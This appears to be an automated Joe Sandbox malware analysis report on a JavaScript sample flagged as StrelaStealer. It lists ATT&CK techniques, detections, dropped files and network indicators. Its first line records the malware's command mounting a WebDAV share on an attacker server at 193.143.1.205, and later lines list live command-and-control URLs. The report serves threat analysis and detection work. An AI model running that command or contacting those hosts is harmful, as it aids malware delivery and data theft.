Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
47411761265155214.js	10%	Virustotal		Browse
47411761265155214.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Xf~M	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3432729186.00000240D1400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2196937158.00000240D12E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/Xf~M	net.exe, 00000007.00000003.2196829623.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206230144.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2206165710.000002A423378000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2206230144.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588637
Start date and time:	2025-01-11 03:31:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	47411761265155214.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.22.50.151, 2.22.50.131, 23.209.209.135, 2.23.244.205, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:32:07	API Interceptor	21x Sleep call for process: powershell.exe modified
21:32:11	API Interceptor	1x Sleep call for process: net.exe modified
21:32:11	API Interceptor	2x Sleep call for process: svchost.exe modified
21:32:24	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307181701152403
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugU:gJjJGtpTq2yv1AuNZRY3diu8iBVqFW
MD5:	7499D90C15DD035AFAD20DCFEBACA193
SHA1:	861F89E6D0AB4511B878B92B51AEB18069384D0B
SHA-256:	7793F20035427F68D7C2A5609B1E4439D86A85788276C7721C2940F18FB8D974
SHA-512:	6E8B60A15487198540494787A626AD51A95FADD575B94E43E61041475E4BF42038A9960F6655CFA4656863D5A3606AC7E7A1F2BD1CC4FC9EAE72400098930071
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x22652bc5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585480496190956
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Zaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	708488BFFD9F39CE90B1FB1D9422772E
SHA1:	8E247F7AA2ADFAB533CEE4F009F34E839E437D89
SHA-256:	3563EB75E2F17FC166F9B7FF04BF478118813D11D826F71A784F608CB26AF2C8
SHA-512:	84A9C88ACFDD951F80FBA03F4BB4E7618E26FB0883A0F426CD43B7844BE0153201B88D6B960828E0181D006E010A7F561BD334A5E3A4695A62F61CA9987ADC73
Malicious:	false
Preview:	"e+.... ...............X\...;...{......................0.z..........{... ...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................'t. ...})...................J.. ...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07931727774112801
Encrypted:	false
SSDEEP:	3:CS6YeedpwNkGuAJkhvekl1QLltlallrekGltll/SPj:izspwGrxluLXAJe3l
MD5:	17F4DBF4BFC39D031BD3C91473C8A2BB
SHA1:	5CC32454A0D7AF6F3CC4D076C86166E33476C9D1
SHA-256:	826DD5FEE2E3875461D6983475538FBF2721AE6D8EE4372DF26AC579F4731ABA
SHA-512:	520420B8C2FAA9EC45F1E6DD6ACBDF1D872952C3BBB66FC1D5F4FC30831971BFB54FCDD9569B04BC4545D9864E9927DFFA35F80B4A69F97D59D416892B7AB978
Malicious:	false
Preview:	..`......................................;...{... ...}.......{...............{.......{...XL......{....................J.. ...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.124978064793076
Encrypted:	false
SSDEEP:	6:iO4qBlyq2P92nKuAl9OmbnIFUtSqqXz1ZmwsqqXlRkwO92nKuAl9OmbjLJ:7sv4HAahFUtez1/Mz5LHAaSJ
MD5:	582D89C5541EBF71404A1668CD99BFD6
SHA1:	B3F2DCB60BE28B8FC39A956EA8C901F3D48DD75D
SHA-256:	EDF86A9F2765B8FB9354600F9C0E02CB78091359062FDA2A4A4D648DE4C6A15A
SHA-512:	C8481C3CFC53721A70E8AF0C53DA28F86E9FFE880BE907FE66A4553FC9EA00E6C0C5A24B626A2D9F6494E05AFFFEBBF384FC931366D10571084059309D1D478B
Malicious:	false
Preview:	2025/01/10-21:32:11.562 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:32:11.565 1c14 Recovering log #3.2025/01/10-21:32:11.565 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.124978064793076
Encrypted:	false
SSDEEP:	6:iO4qBlyq2P92nKuAl9OmbnIFUtSqqXz1ZmwsqqXlRkwO92nKuAl9OmbjLJ:7sv4HAahFUtez1/Mz5LHAaSJ
MD5:	582D89C5541EBF71404A1668CD99BFD6
SHA1:	B3F2DCB60BE28B8FC39A956EA8C901F3D48DD75D
SHA-256:	EDF86A9F2765B8FB9354600F9C0E02CB78091359062FDA2A4A4D648DE4C6A15A
SHA-512:	C8481C3CFC53721A70E8AF0C53DA28F86E9FFE880BE907FE66A4553FC9EA00E6C0C5A24B626A2D9F6494E05AFFFEBBF384FC931366D10571084059309D1D478B
Malicious:	false
Preview:	2025/01/10-21:32:11.562 1c14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:32:11.565 1c14 Recovering log #3.2025/01/10-21:32:11.565 1c14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.111931819510965
Encrypted:	false
SSDEEP:	6:iO4qK6DM+q2P92nKuAl9Ombzo2jMGIFUtSqWgZmwsqTpDMVkwO92nKuAl9Ombzos:7sSM+v4HAa8uFUtH/9pMV5LHAa8RJ
MD5:	1C122F20E67108E75D60ED29170E6E4B
SHA1:	A71D5F766B980D215834CDEAFD65CD09AEF54C44
SHA-256:	9437767DCC104789B97FE87EDCCA95F1B800A8DB9E194A94847DB4FADBEE935C
SHA-512:	846FF705B8E0C4F2748424F396F391C84319B1D15DFD3A1109A66966CECAD04DEB3B0A204EF4EE10DF74BABF928153D8413F891DB265454DB70B196671EA5DC4
Malicious:	false
Preview:	2025/01/10-21:32:11.662 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:32:11.663 1cfc Recovering log #3.2025/01/10-21:32:11.664 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.111931819510965
Encrypted:	false
SSDEEP:	6:iO4qK6DM+q2P92nKuAl9Ombzo2jMGIFUtSqWgZmwsqTpDMVkwO92nKuAl9Ombzos:7sSM+v4HAa8uFUtH/9pMV5LHAa8RJ
MD5:	1C122F20E67108E75D60ED29170E6E4B
SHA1:	A71D5F766B980D215834CDEAFD65CD09AEF54C44
SHA-256:	9437767DCC104789B97FE87EDCCA95F1B800A8DB9E194A94847DB4FADBEE935C
SHA-512:	846FF705B8E0C4F2748424F396F391C84319B1D15DFD3A1109A66966CECAD04DEB3B0A204EF4EE10DF74BABF928153D8413F891DB265454DB70B196671EA5DC4
Malicious:	false
Preview:	2025/01/10-21:32:11.662 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:32:11.663 1cfc Recovering log #3.2025/01/10-21:32:11.664 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.058516645744621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0ksBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRdsBJdMH73QYhbxP7nbI+
MD5:	A1DD8DF429D227A3B4184D33066E2353
SHA1:	9F9F7BA7532821DE394DB3306707C76439B77EA7
SHA-256:	ABADC9B451A372F71E7FB8FAACFA6FD9888E1A4650BDBA33C823FBA756AE4C87
SHA-512:	E903F2B300B268CFC3AC2FEFB978B125CEC6F7A42FF6D8E1C1861E3A661C5C8E5F875E06CE118A546827F58EA15E8C77859A1359A3B12DC5E84847738AD40B88
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122737692495","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":328450},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c5112fdd-a8d5-4fa4-83ff-dc27603e6f32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.058516645744621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0ksBdOg2Hwcaq3QYiubxnP7E4T3OF+:Y2sRdsBJdMH73QYhbxP7nbI+
MD5:	A1DD8DF429D227A3B4184D33066E2353
SHA1:	9F9F7BA7532821DE394DB3306707C76439B77EA7
SHA-256:	ABADC9B451A372F71E7FB8FAACFA6FD9888E1A4650BDBA33C823FBA756AE4C87
SHA-512:	E903F2B300B268CFC3AC2FEFB978B125CEC6F7A42FF6D8E1C1861E3A661C5C8E5F875E06CE118A546827F58EA15E8C77859A1359A3B12DC5E84847738AD40B88
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122737692495","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":328450},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233677476997721
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU/0q4:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL1
MD5:	34DDA2CA4925BCA67C0D376659EF28DD
SHA1:	7272251F6380291626DFEC80BB8A8FF1DAFE5BAE
SHA-256:	54E48057ADD404A661A55E8E6EB681E30096EC77D3DB220B514AE92E53FCA991
SHA-512:	74E5C133F531127AF0DD9617084140CAE598D56E45D71107892FDE2718744351DE65717BCAFEF553BCECCA3B9F6915F1FC6421F93CE0560131E32101E5DBA2EF
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.114354913126212
Encrypted:	false
SSDEEP:	6:iO4qmuUpDM+q2P92nKuAl9OmbzNMxIFUtSqFrpgZmwsqkXDMVkwO92nKuAl9Ombg:7wNpM+v4HAa8jFUtRrm/CMV5LHAa84J
MD5:	77EF65A9D089C99DEAE5DB7613A55B47
SHA1:	3630E6097D47D296339FC37447A484857610C9CF
SHA-256:	F884C9126DEC46FA31CC9574E8D01CBF01ECF9CB00FD70BEC527B41C4C93F247
SHA-512:	7860941DE60FF104631AE5145255D6E436969B14F8EBC0618616396C32B30B714A89434D90D81D67623732F11C432D8EF78C5F3F440D691D815AEB73B9932B07
Malicious:	false
Preview:	2025/01/10-21:32:11.780 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:32:11.781 1cfc Recovering log #3.2025/01/10-21:32:11.782 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.114354913126212
Encrypted:	false
SSDEEP:	6:iO4qmuUpDM+q2P92nKuAl9OmbzNMxIFUtSqFrpgZmwsqkXDMVkwO92nKuAl9Ombg:7wNpM+v4HAa8jFUtRrm/CMV5LHAa84J
MD5:	77EF65A9D089C99DEAE5DB7613A55B47
SHA1:	3630E6097D47D296339FC37447A484857610C9CF
SHA-256:	F884C9126DEC46FA31CC9574E8D01CBF01ECF9CB00FD70BEC527B41C4C93F247
SHA-512:	7860941DE60FF104631AE5145255D6E436969B14F8EBC0618616396C32B30B714A89434D90D81D67623732F11C432D8EF78C5F3F440D691D815AEB73B9932B07
Malicious:	false
Preview:	2025/01/10-21:32:11.780 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:32:11.781 1cfc Recovering log #3.2025/01/10-21:32:11.782 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. 